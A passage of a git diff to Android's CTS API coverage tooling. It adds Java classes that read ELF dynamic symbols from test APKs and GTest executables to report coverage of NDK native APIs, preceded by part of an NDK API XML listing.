+ <method abstract="false" deprecated="not deprecated" final="true" name="gzclearerr" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="adler32_combine64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="inflateBackInit_" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="compress" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="gzclose_w" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="gzopen" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="deflateBound" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="compress2" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="gztell64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="uncompress" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="gzoffset" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="deflateSetDictionary" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="inflateCopy" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="gzgetc_" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="deflateEnd" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="LIBZ" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="crc32_combine" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="gzsetparams" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="gzungetc" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="inflateUndermine" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="inflateSync" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ </class>
+ <class abstract="false" deprecated="not deprecated" final="true" name="libdl.so" static="false" visibility="public">
+ <method abstract="false" deprecated="not deprecated" final="true" name="android_dlopen_ext" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__cfi_slowpath_diag" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="dlsym" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="LIBC_N" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="LIBC" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="dlerror" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="dlopen" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__cfi_shadow_size" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="dlclose" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="LIBC_OMR1" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__cfi_slowpath" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="dl_iterate_phdr" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="dladdr" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="dlvsym" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ </class>
+ </package>
+</api>
diff --git a/tools/cts-api-coverage/src/com/android/cts/apicoverage/ApkNdkApiReport.java b/tools/cts-api-coverage/src/com/android/cts/apicoverage/ApkNdkApiReport.java
new file mode 100644
index 0000000..5882a01
--- /dev/null
+++ b/tools/cts-api-coverage/src/com/android/cts/apicoverage/ApkNdkApiReport.java
@@ -0,0 +1,172 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.apicoverage;
+
+
+import org.xml.sax.SAXException;
+
+import java.io.File;
+import java.io.FileOutputStream;
+import java.io.FilenameFilter;
+import java.io.IOException;
+import java.io.InputStream;
+import java.util.ArrayList;
+import java.util.Enumeration;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+import java.util.zip.ZipEntry;
+import java.util.zip.ZipFile;
+/**
+ * Class that outputs an XML report of the {@link ApiCoverage} collected. It can be viewed in a
+ * browser when used with the api-coverage.css and api-coverage.xsl files.
+ */
+class ApkNdkApiReport {
+ public static final String FILE_FILTER_EXT = ".apk";
+ public static final String DEFAULT_OUTPUT_FILE_NAME = "./apk-ndk-coverage.txt";
+
+ private static final FilenameFilter SUPPORTED_FILE_NAME_FILTER =
+ new FilenameFilter() {
+ public boolean accept(File dir, String name) {
+ String fileName = name.toLowerCase();
+ return fileName.endsWith(FILE_FILTER_EXT);
+ }
+ };
+
+ private static void printUsage() {
+ System.out.println("Usage: ApkNdkApiReport [OPTION]... [APK]...");
+ System.out.println();
+ System.out.println("Generates a report about what Android NDK methods.");
+ System.out.println();
+ System.out.println("Options:");
+ System.out.println(" -o FILE output file or standard out if not given");
+ System.out.println(" -t PATH path to the CTS testcases Folder");
+ System.out.println(" -b BITS 64 or 32");
+ System.out.println();
+ System.exit(1);
+ }
+
+ /** Get the argument or print out the usage and exit. */
+ private static String getExpectedArg(String[] args, int index) {
+ if (index < args.length) {
+ return args[index];
+ } else {
+ printUsage();
+ return null; // Never will happen because printUsage will call exit(1)
+ }
+ }
+
+ public static void main(String[] args) throws IOException, SAXException {
+ ApkNdkApiReport apiReport;
+ String testCasePath = "";
+ String bits = "64";
+ String outputFileName = DEFAULT_OUTPUT_FILE_NAME;
+ int numTestModule = 0;
+
+ for (int i = 0; i < args.length; i++) {
+ if (args[i].startsWith("-")) {
+ if ("-o".equals(args[i])) {
+ outputFileName = getExpectedArg(args, ++i);
+ } else if ("-t".equals(args[i])) {
+ testCasePath = getExpectedArg(args, ++i);
+ } else if ("-b".equals(args[i])) {
+ bits = getExpectedArg(args, ++i);
+ } else {
+ printUsage();
+ }
+ } else {
+ printUsage();
+ }
+ }
+
+ apiReport = parseTestcasesFolder(testCasePath, bits);
+ if (apiReport != null) {
+ for (TestModule tm : apiReport.mTestModules) {
+ tm.getDynSymArr();
+ }
+ } else {
+ printUsage();
+ }
+ }
+
+ private List<TestModule> mTestModules;
+ private String mBits;
+
+ ApkNdkApiReport(List<TestModule> testModules, String bits) {
+ mTestModules = testModules;
+ mBits = bits;
+ }
+
+ public List<TestModule> getTestModules() {
+ return mTestModules;
+ }
+
+ public String getBits() {
+ return mBits;
+ }
+
+ public static ApkNdkApiReport parseTestcasesFolder(String testCasePath, String bits)
+ throws IOException, SAXException {
+ File[] testConfigFiles;
+ List<TestModule> testModules = new ArrayList<TestModule>();
+
+ File file = new File(testCasePath);
+ if (file.isDirectory()) {
+ File[] targetFiles = file.listFiles(SUPPORTED_FILE_NAME_FILTER);
+
+ Map<String, String> env = new HashMap<>();
+ for (File targetFile : targetFiles) {
+ final ZipFile apkFile = new ZipFile(targetFile);
+ System.out.println(targetFile.getName());
+ try {
+ final Enumeration<? extends ZipEntry> entries = apkFile.entries();
+ while (entries.hasMoreElements()) {
+ final ZipEntry entry = entries.nextElement();
+
+ if (!entry.getName().matches("lib(.*)" + bits + "(.*)so")) {
+ continue;
+ }
+
+ System.out.println(entry.getName());
+
+ //use entry input stream:
+ InputStream is = apkFile.getInputStream(entry);
+
+ File tempFile = File.createTempFile("ApkNdkApiReport", ".so");
+ tempFile.deleteOnExit();
+ FileOutputStream fos = new FileOutputStream(tempFile);
+
+ byte[] bytes = new byte[4096];
+ int length;
+ while ((length = is.read(bytes)) >= 0) {
+ fos.write(bytes, 0, length);
+ }
+ is.close();
+ fos.close();
+
+ testModules.add(new TestModule(tempFile, targetFile.getName(), "jUnit"));
+ }
+ } catch (IOException e) {
+ e.printStackTrace();
+ }
+ }
+ } else {
+ return null;
+ }
+ return new ApkNdkApiReport(testModules, bits);
+ }
+}
diff --git a/tools/cts-api-coverage/src/com/android/cts/apicoverage/CtsApiCoverage.java b/tools/cts-api-coverage/src/com/android/cts/apicoverage/CtsApiCoverage.java
index 2b57c76..95eb89f 100644
--- a/tools/cts-api-coverage/src/com/android/cts/apicoverage/CtsApiCoverage.java
+++ b/tools/cts-api-coverage/src/com/android/cts/apicoverage/CtsApiCoverage.java
@@ -17,10 +17,9 @@
package com.android.cts.apicoverage;
import com.android.compatibility.common.util.CddTest;
+import com.android.compatibility.common.util.ReadElf;
import org.jf.dexlib2.DexFileFactory;
-import org.jf.dexlib2.DexFileFactory.DexFileNotFound;
-import org.jf.dexlib2.DexFileFactory.MultipleDexFilesException;
import org.jf.dexlib2.Opcodes;
import org.jf.dexlib2.iface.Annotation;
import org.jf.dexlib2.iface.AnnotationElement;
@@ -44,6 +43,7 @@
import java.util.ArrayList;
import java.util.Collection;
import java.util.List;
+import java.util.Locale;
import java.util.Set;
import javax.xml.transform.TransformerException;
@@ -71,13 +71,17 @@
private static final String CDD_REQUIREMENT_ELEMENT_NAME = "requirement";
+ private static final String NDK_PACKAGE_NAME = "ndk";
+
+ private static final String NDK_DUMMY_RETURN_TYPE = "na";
+
private static void printUsage() {
System.out.println("Usage: cts-api-coverage [OPTION]... [APK]...");
System.out.println();
System.out.println("Generates a report about what Android framework methods are called ");
System.out.println("from the given APKs.");
System.out.println();
- System.out.println("Use the Makefiles rules in CtsTestCoverage.mk to generate the report ");
+ System.out.println("Use the Makefiles rules in CtsCoverage.mk to generate the report ");
System.out.println("rather than executing this directly. If you still want to run this ");
System.out.println("directly, then this must be used from the $ANDROID_BUILD_TOP ");
System.out.println("directory and dexdeps must be built via \"make dexdeps\".");
@@ -87,9 +91,12 @@
System.out.println(" -f [txt|xml|html] format of output");
System.out.println(" -d PATH path to dexdeps or expected to be in $PATH");
System.out.println(" -a PATH path to the API XML file");
+ System.out.println(
+ " -n PATH path to the NDK API XML file, which can be updated via ndk-api-report with the ndk target");
System.out.println(" -p PACKAGENAMEPREFIX report coverage only for package that start with");
System.out.println(" -t TITLE report title");
System.out.println(" -a API the Android API Level");
+ System.out.println(" -b BITS 64 or 32 bits, default 64");
System.out.println();
System.exit(1);
}
@@ -100,10 +107,15 @@
int format = FORMAT_TXT;
String dexDeps = "dexDeps";
String apiXmlPath = "";
+ String napiXmlPath = "";
PackageFilter packageFilter = new PackageFilter();
String reportTitle = "CTS API Coverage";
int apiLevel = Integer.MAX_VALUE;
+ String testCasesFolder = "";
+ String bits = "64";
+ List<File> notFoundTestApks = new ArrayList<File>();
+ int numTestApkArgs = 0;
for (int i = 0; i < args.length; i++) {
if (args[i].startsWith("-")) {
if ("-o".equals(args[i])) {
@@ -123,25 +135,39 @@
dexDeps = getExpectedArg(args, ++i);
} else if ("-a".equals(args[i])) {
apiXmlPath = getExpectedArg(args, ++i);
+ } else if ("-n".equals(args[i])) {
+ napiXmlPath = getExpectedArg(args, ++i);
} else if ("-p".equals(args[i])) {
packageFilter.addPrefixToFilter(getExpectedArg(args, ++i));
} else if ("-t".equals(args[i])) {
reportTitle = getExpectedArg(args, ++i);
} else if ("-a".equals(args[i])) {
apiLevel = Integer.parseInt(getExpectedArg(args, ++i));
+ } else if ("-b".equals(args[i])) {
+ bits = getExpectedArg(args, ++i);
} else {
printUsage();
}
} else {
File file = new File(args[i]);
+ numTestApkArgs++;
if (file.isDirectory()) {
testApks.addAll(Arrays.asList(file.listFiles(SUPPORTED_FILE_NAME_FILTER)));
- } else {
+ testCasesFolder = args[i];
+ } else if (file.isFile()) {
testApks.add(file);
+ } else {
+ notFoundTestApks.add(file);
}
}
}
+ if (!notFoundTestApks.isEmpty()) {
+ String msg = String.format(Locale.US, "%d/%d testApks not found: %s",
+ notFoundTestApks.size(), numTestApkArgs, notFoundTestApks);
+ throw new IllegalArgumentException(msg);
+ }
+
/*
* 1. Create an ApiCoverage object that is a tree of Java objects representing the API
* in current.xml. The object will have no information about the coverage for each
@@ -155,6 +181,20 @@
ApiCoverage apiCoverage = getEmptyApiCoverage(apiXmlPath);
CddCoverage cddCoverage = getEmptyCddCoverage();
+
+ if (!napiXmlPath.equals("")) {
+ System.out.println("napiXmlPath: " + napiXmlPath);
+ ApiCoverage napiCoverage = getEmptyApiCoverage(napiXmlPath);
+ ApiPackage napiPackage = napiCoverage.getPackage(NDK_PACKAGE_NAME);
+ System.out.println(
+ String.format(
+ "%s, NDK Methods = %d, MemberSize = %d",
+ napiXmlPath,
+ napiPackage.getTotalMethods(),
+ napiPackage.getMemberSize()));
+ apiCoverage.addPackage(napiPackage);
+ }
+
// Add superclass information into api coverage.
apiCoverage.resolveSuperClasses();
for (File testApk : testApks) {
@@ -162,6 +202,22 @@
addCddCoverage(cddCoverage, testApk, apiLevel);
}
+ try {
+ // Add coverage for GTest modules
+ addGTestNdkApiCoverage(apiCoverage, testCasesFolder, bits);
+ } catch (Exception e) {
+ System.out.println("warning: addGTestNdkApiCoverage failed to add to apiCoverage:");
+ e.printStackTrace();
+ }
+
+ try {
+ // Add coverage for APK with Share Objects
+ addNdkApiCoverage(apiCoverage, testCasesFolder, bits);
+ } catch (Exception e) {
+ System.out.println("warning: addNdkApiCoverage failed to add to apiCoverage:");
+ e.printStackTrace();
+ }
+
outputCoverageReport(apiCoverage, cddCoverage, testApks, outputFile,
format, packageFilter, reportTitle);
}
@@ -229,6 +285,103 @@
}
}
+ /**
+ * Adds coverage information from native code symbol array to the {@link ApiCoverage} object.
+ *
+ * @param apiPackage object to which the coverage statistics will be added to
+ * @param symArr containing native code symbols
+ * @param testModules containing a list of TestModule
+ * @param moduleName test module name
+ */
+ private static void addNdkSymArrToApiCoverage(
+ ApiCoverage apiCoverage, List<TestModule> testModules)
+ throws SAXException, IOException {
+
+ final List<String> parameterTypes = new ArrayList<String>();
+ final ApiPackage apiPackage = apiCoverage.getPackage(NDK_PACKAGE_NAME);
+
+ if (apiPackage != null) {
+ for (TestModule tm : testModules) {
+ final String moduleName = tm.getModuleName();
+ final ReadElf.Symbol[] symArr = tm.getDynSymArr();
+ if (symArr != null) {
+ for (ReadElf.Symbol sym : symArr) {
+ if (sym.isGlobalUnd()) {
+ String className = sym.getExternalLibFileName();
+ ApiClass apiClass = apiPackage.getClass(className);
+ if (apiClass != null) {
+ apiClass.markMethodCovered(
+ sym.name,
+ parameterTypes,
+ NDK_DUMMY_RETURN_TYPE,
+ moduleName);
+ } else {
+ System.err.println(
+ String.format(
+ "warning: addNdkApiCoverage failed to getClass: %s",
+ className));
+ }
+ }
+ }
+ } else {
+ System.err.println(
+ String.format(
+ "warning: addNdkSymbolArrToApiCoverage failed to getSymArr: %s",
+ moduleName));
+ }
+ }
+ } else {
+ System.err.println(
+ String.format(
+ "warning: addNdkApiCoverage failed to getPackage: %s",
+ NDK_PACKAGE_NAME));
+ }
+ }
+
+ /**
+ * Adds coverage information gleamed from readelf on so in the APK to the {@link ApiCoverage}
+ * object.
+ *
+ * @param apiCoverage object to which the coverage statistics will be added to
+ * @param testCasesFolder containing GTest modules
+ * @param bits 64 or 32 bits of executiable
+ */
+ private static void addNdkApiCoverage(
+ ApiCoverage apiCoverage, String testCasesFolder, String bits)
+ throws SAXException, IOException {
+ ApkNdkApiReport apiReport = ApkNdkApiReport.parseTestcasesFolder(testCasesFolder, bits);
+ if (apiReport != null) {
+ addNdkSymArrToApiCoverage(apiCoverage, apiReport.getTestModules());
+ } else {
+ System.err.println(
+ String.format(
+ "warning: addNdkApiCoverage failed to get GTestApiReport from: %s @ %s bits",
+ testCasesFolder, bits));
+ }
+ }
+
+ /**
+ * Adds GTest coverage information gleamed from running ReadElf on the executiable to the {@link
+ * ApiCoverage} object.
+ *
+ * @param apiCoverage object to which the coverage statistics will be added to
+ * @param testCasesFolder containing GTest modules
+ * @param bits 64 or 32 bits of executiable
+ */
+ private static void addGTestNdkApiCoverage(
+ ApiCoverage apiCoverage, String testCasesFolder, String bits)
+ throws SAXException, IOException {
+ GTestApiReport apiReport = GTestApiReport.parseTestcasesFolder(testCasesFolder, bits);
+ if (apiReport != null) {
+ addNdkSymArrToApiCoverage(apiCoverage, apiReport.getTestModules());
+ } else {
+ System.err.println(
+ String.format(
+ "warning: addGTestNdkApiCoverage failed to get GTestApiReport from: %s @ %s bits",
+ testCasesFolder, bits));
+ }
+ }
+
private static void addCddCoverage(CddCoverage cddCoverage, File testSource, int api)
throws IOException {
@@ -264,9 +417,8 @@
DexFile dexFile = null;
try {
- dexFile = DexFileFactory.loadDexFile(
- testSource, null /*dexEntry*/, Opcodes.forApi(api));
- } catch (IOException | DexFileFactory.DexFileNotFound e) {
+ dexFile = DexFileFactory.loadDexFile(testSource, Opcodes.forApi(api));
+ } catch (IOException | DexFileFactory.DexFileNotFoundException e) {
System.err.println("Unable to load dex file: " + testSource.getPath());
return;
}
diff --git a/tools/cts-api-coverage/src/com/android/cts/apicoverage/GTestApiReport.java b/tools/cts-api-coverage/src/com/android/cts/apicoverage/GTestApiReport.java
new file mode 100644
index 0000000..a1a6923
--- /dev/null
+++ b/tools/cts-api-coverage/src/com/android/cts/apicoverage/GTestApiReport.java
@@ -0,0 +1,172 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.apicoverage;
+
+
+import org.xml.sax.InputSource;
+import org.xml.sax.SAXException;
+import org.xml.sax.XMLReader;
+import org.xml.sax.helpers.XMLReaderFactory;
+
+import java.io.File;
+import java.io.FileReader;
+import java.io.FilenameFilter;
+import java.io.IOException;
+import java.util.ArrayList;
+import java.util.List;
+/**
+ * Class that outputs an XML report of the {@link ApiCoverage} collected. It can be viewed in a
+ * browser when used with the api-coverage.css and api-coverage.xsl files.
+ */
+class GTestApiReport {
+ public static final String CONFIG_EXT = ".config";
+ public static final String DEFAULT_OUTPUT_FILE_NAME = "./gtest-coverage.txt";
+ public static final String TEST_TYPE = "com.android.tradefed.testtype.GTest";
+
+ private static final FilenameFilter SUPPORTED_FILE_NAME_FILTER =
+ new FilenameFilter() {
+ public boolean accept(File dir, String name) {
+ String fileName = name.toLowerCase();
+ return fileName.endsWith(CONFIG_EXT);
+ }
+ };
+
+ private static void printUsage() {
+ System.out.println("Usage: GTestApiXmlReport [OPTION]... [APK]...");
+ System.out.println();
+ System.out.println("Generates a report about what Android NDK methods.");
+ System.out.println();
+ System.out.println("Options:");
+ System.out.println(" -o FILE output file or standard out if not given");
+ System.out.println(" -t PATH path to the CTS testcases Folder");
+ System.out.println(" -b BITS 64 or 32");
+ System.out.println();
+ System.exit(1);
+ }
+
+ /** Get the argument or print out the usage and exit. */
+ private static String getExpectedArg(String[] args, int index) {
+ if (index < args.length) {
+ return args[index];
+ } else {
+ printUsage();
+ return null; // Never will happen because printUsage will call exit(1)
+ }
+ }
+
+ public static void main(String[] args) throws IOException, SAXException {
+ GTestApiReport apiReport;
+ String testCasePath = "";
+ String bits = "64";
+ String outputFileName = DEFAULT_OUTPUT_FILE_NAME;
+ int numTestModule = 0;
+
+ for (int i = 0; i < args.length; i++) {
+ if (args[i].startsWith("-")) {
+ if ("-o".equals(args[i])) {
+ outputFileName = getExpectedArg(args, ++i);
+ } else if ("-t".equals(args[i])) {
+ testCasePath = getExpectedArg(args, ++i);
+ } else if ("-b".equals(args[i])) {
+ bits = getExpectedArg(args, ++i);
+ } else {
+ printUsage();
+ }
+ } else {
+ printUsage();
+ }
+ }
+
+ apiReport = parseTestcasesFolder(testCasePath, bits);
+ if (apiReport != null) {
+ for (TestModule tm : apiReport.mTestModules) {
+ tm.getDynSymArr();
+ }
+ } else {
+ printUsage();
+ }
+ }
+
+ private List<TestModule> mTestModules;
+ private String mBits;
+
+ GTestApiReport(List<TestModule> testModules, String bits) {
+ mTestModules = testModules;
+ mBits = bits;
+ }
+
+ public List<TestModule> getTestModules() {
+ return mTestModules;
+ }
+
+ public String getBits() {
+ return mBits;
+ }
+
+ public static GTestApiReport parseTestcasesFolder(String testCasePath, String bits)
+ throws IOException, SAXException {
+ File[] testConfigFiles;
+ List<TestModule> testModules = new ArrayList<TestModule>();
+
+ File file = new File(testCasePath);
+ if (file.isDirectory()) {
+ testConfigFiles = file.listFiles(SUPPORTED_FILE_NAME_FILTER);
+
+ for (File testConfigFile : testConfigFiles) {
+ XMLReader xmlReader = XMLReaderFactory.createXMLReader();
+ TestModuleConfigHandler testModuleXmlHandler = new TestModuleConfigHandler();
+ xmlReader.setContentHandler(testModuleXmlHandler);
+ FileReader fileReader = null;
+
+ try {
+ fileReader = new FileReader(testConfigFile);
+ xmlReader.parse(new InputSource(fileReader));
+ if (TEST_TYPE.equalsIgnoreCase(testModuleXmlHandler.getTestClassName())) {
+ File gTestExe =
+ new File(
+ testCasePath
+ + "/"
+ + testModuleXmlHandler.getModuleName()
+ + bits);
+
+ System.out.println(gTestExe.getName());
+ System.out.println(
+ String.format(
+ "%s: %s, %s",
+ testConfigFile.getName(),
+ testModuleXmlHandler.getModuleName(),
+ testModuleXmlHandler.getTestClassName()));
+
+ testModules.add(
+ new TestModule(
+ gTestExe,
+ testModuleXmlHandler.getModuleName(),
+ testModuleXmlHandler.getTestClassName()));
+ }
+
+ } finally {
+ if (fileReader != null) {
+ fileReader.close();
+ }
+ }
+ }
+ } else {
+ return null;
+ }
+ return new GTestApiReport(testModules, bits);
+ }
+}
diff --git a/tools/cts-api-coverage/src/com/android/cts/apicoverage/NdkApiXmlReport.java b/tools/cts-api-coverage/src/com/android/cts/apicoverage/NdkApiXmlReport.java
new file mode 100644
index 0000000..810d619
--- /dev/null
+++ b/tools/cts-api-coverage/src/com/android/cts/apicoverage/NdkApiXmlReport.java
@@ -0,0 +1,335 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.apicoverage;
+
+import com.android.compatibility.common.util.ReadElf;
+
+import org.w3c.dom.Attr;
+import org.w3c.dom.Document;
+import org.w3c.dom.Element;
+import org.w3c.dom.Node;
+
+import java.io.File;
+import java.io.FileOutputStream;
+import java.io.FilenameFilter;
+import java.io.IOException;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Map;
+
+import javax.xml.parsers.DocumentBuilder;
+import javax.xml.parsers.DocumentBuilderFactory;
+import javax.xml.parsers.ParserConfigurationException;
+import javax.xml.transform.OutputKeys;
+import javax.xml.transform.Transformer;
+import javax.xml.transform.TransformerException;
+import javax.xml.transform.TransformerFactory;
+import javax.xml.transform.dom.DOMSource;
+import javax.xml.transform.stream.StreamResult;
+/**
+ * Class that outputs an XML report of the {@link ApiCoverage} collected. It can be viewed in a
+ * browser when used with the api-coverage.css and api-coverage.xsl files.
+ */
+class NdkApiXmlReport {
+ private static final String API_TAG = "api";
+ private static final String PACKAGE_TAG = "package";
+ private static final String CLASS_TAG = "class";
+ private static final String METHOD_TAG = "method";
+ private static final String FIELD_TAG = "field";
+ private static final String ATTRIBUTE_NAME = "name";
+ private static final String NDK_PACKAGE_NAME = "ndk";
+ private static final String NDK_DUMMY_RETURN_TYPE = "na";
+
+ private static final Map<String, String> sInternalSymMap;
+ static {
+ sInternalSymMap = new HashMap<String, String>();
+ sInternalSymMap.put("__bss_start", "bss");
+ sInternalSymMap.put("_end", "initialized data");
+ sInternalSymMap.put("_edata", "uninitialized data");
+ }
+
+ private static final FilenameFilter SUPPORTED_FILE_NAME_FILTER =
+ new FilenameFilter() {
+ public boolean accept(File dir, String name) {
+ String fileName = name.toLowerCase();
+ return fileName.endsWith(".so");
+ }
+ };
+
+ private static void printUsage() {
+ System.out.println("Usage: ndk-api-xml-report [OPTION]... [APK]...");
+ System.out.println();
+ System.out.println("Generates a report about what Android NDK methods.");
+ System.out.println();
+ System.out.println("this must be used from the $ANDROID_BUILD_TOP");
+ System.out.println("make cts-test-coverage");
+ System.out.println("unzip the target ndk_platform.tar.bz2 to a folder.");
+ System.out.println(
+ "$ANDROID_HOST_OUT/bin/ndk-api-report "
+ + "-o $ANDROID_BUILD_TOP/cts/tools/cts-api-coverage/etc/ndk-api.xml "
+ + "-n <ndk-folder>/platforms/android-current/arch-arm64/usr/lib");
+ System.out.println();
+ System.out.println("Options:");
+ System.out.println(" -o FILE output file or standard out if not given");
+ System.out.println(" -n PATH path to the NDK Lib Folder");
+ System.out.println();
+ System.exit(1);
+ }
+
+ /** Get the argument or print out the usage and exit. */
+ private static String getExpectedArg(String[] args, int index) {
+ if (index < args.length) {
+ return args[index];
+ } else {
+ printUsage();
+ return null; // Never will happen because printUsage will call exit(1)
+ }
+ }
+
+ public static void main(String[] args) throws IOException {
+ List<File> ndkSos = new ArrayList<File>();
+ int numNdkSos = 0;
+ String ndkLibPath = "";
+ String outputFilePath = "./ndk-api.xml";
+
+ for (int i = 0; i < args.length; i++) {
+ if (args[i].startsWith("-")) {
+ if ("-o".equals(args[i])) {
+ outputFilePath = getExpectedArg(args, ++i);
+ } else if ("-n".equals(args[i])) {
+ ndkLibPath = getExpectedArg(args, ++i);
+ File file = new File(ndkLibPath);
+ if (file.isDirectory()) {
+ ndkSos.addAll(Arrays.asList(file.listFiles(SUPPORTED_FILE_NAME_FILTER)));
+ } else {
+ printUsage();
+ }
+ } else {
+ printUsage();
+ }
+ } else {
+ printUsage();
+ }
+ }
+
+ Document dom;
+ // instance of a DocumentBuilderFactory
+ DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
+ try {
+ // use factory to get an instance of document builder
+ DocumentBuilder db = dbf.newDocumentBuilder();
+ // create instance of DOM
+ dom = db.newDocument();
+
+ // create the root element
+ Element apiEle = dom.createElement(API_TAG);
+ Element pkgEle = dom.createElement(PACKAGE_TAG);
+ setAttribute(dom, pkgEle, ATTRIBUTE_NAME, NDK_PACKAGE_NAME);
+ apiEle.appendChild(pkgEle);
+ dom.appendChild(apiEle);
+
+ for (File ndkSo : ndkSos) {
+ ReadElf re = ReadElf.read(ndkSo);
+ re.getDynamicSymbol("");
+ ReadElf.Symbol[] symArr = re.getDynSymArr();
+ System.out.println(ndkSo.getName());
+ Element classEle = addToDom(dom, pkgEle, symArr, ndkSo.getName().toLowerCase());
+ pkgEle.appendChild(classEle);
+ }
+
+ try {
+ Transformer tr = TransformerFactory.newInstance().newTransformer();
+ // enable indent in result file
+ tr.setOutputProperty(OutputKeys.INDENT, "yes");
+ tr.setOutputProperty("{http://xml.apache.org/xslt}indent-amount", "2");
+
+ // send DOM to file
+ tr.transform(
+ new DOMSource(dom), new StreamResult(new FileOutputStream(outputFilePath)));
+
+ } catch (TransformerException te) {
+ System.out.println(te.getMessage());
+ } catch (IOException ioe) {
+ System.out.println(ioe.getMessage());
+ }
+ } catch (ParserConfigurationException pce) {
+ System.out.println("UsersXML: Error trying to instantiate DocumentBuilder " + pce);
+ }
+ }
+
+ public static Element addToDom(
+ Document dom, Element pkgEle, ReadElf.Symbol[] symArr, String libName) {
+ Element classEle = createClassEle(dom, libName);
+ for (int i = 0; i < symArr.length; i++) {
+ if (symArr[i].isExtern()) {
+ Element methodEle;
+ if(isInternalSymbol(symArr[i])) {
+ continue;
+ }
+
+ if (symArr[i].type == ReadElf.Symbol.STT_OBJECT) {
+ methodEle = createFieldEle(dom, symArr[i].name);
+ } else {
+ methodEle = createMethodEle(dom, symArr[i].name);
+ }
+
+ System.out.println(symArr[i].name);
+ classEle.appendChild(methodEle);
+ }
+ }
+ return classEle;
+ }
+
+ public static void addToDom(Document dom, Element pkgEle, ReadElf.Symbol[] symArr) {
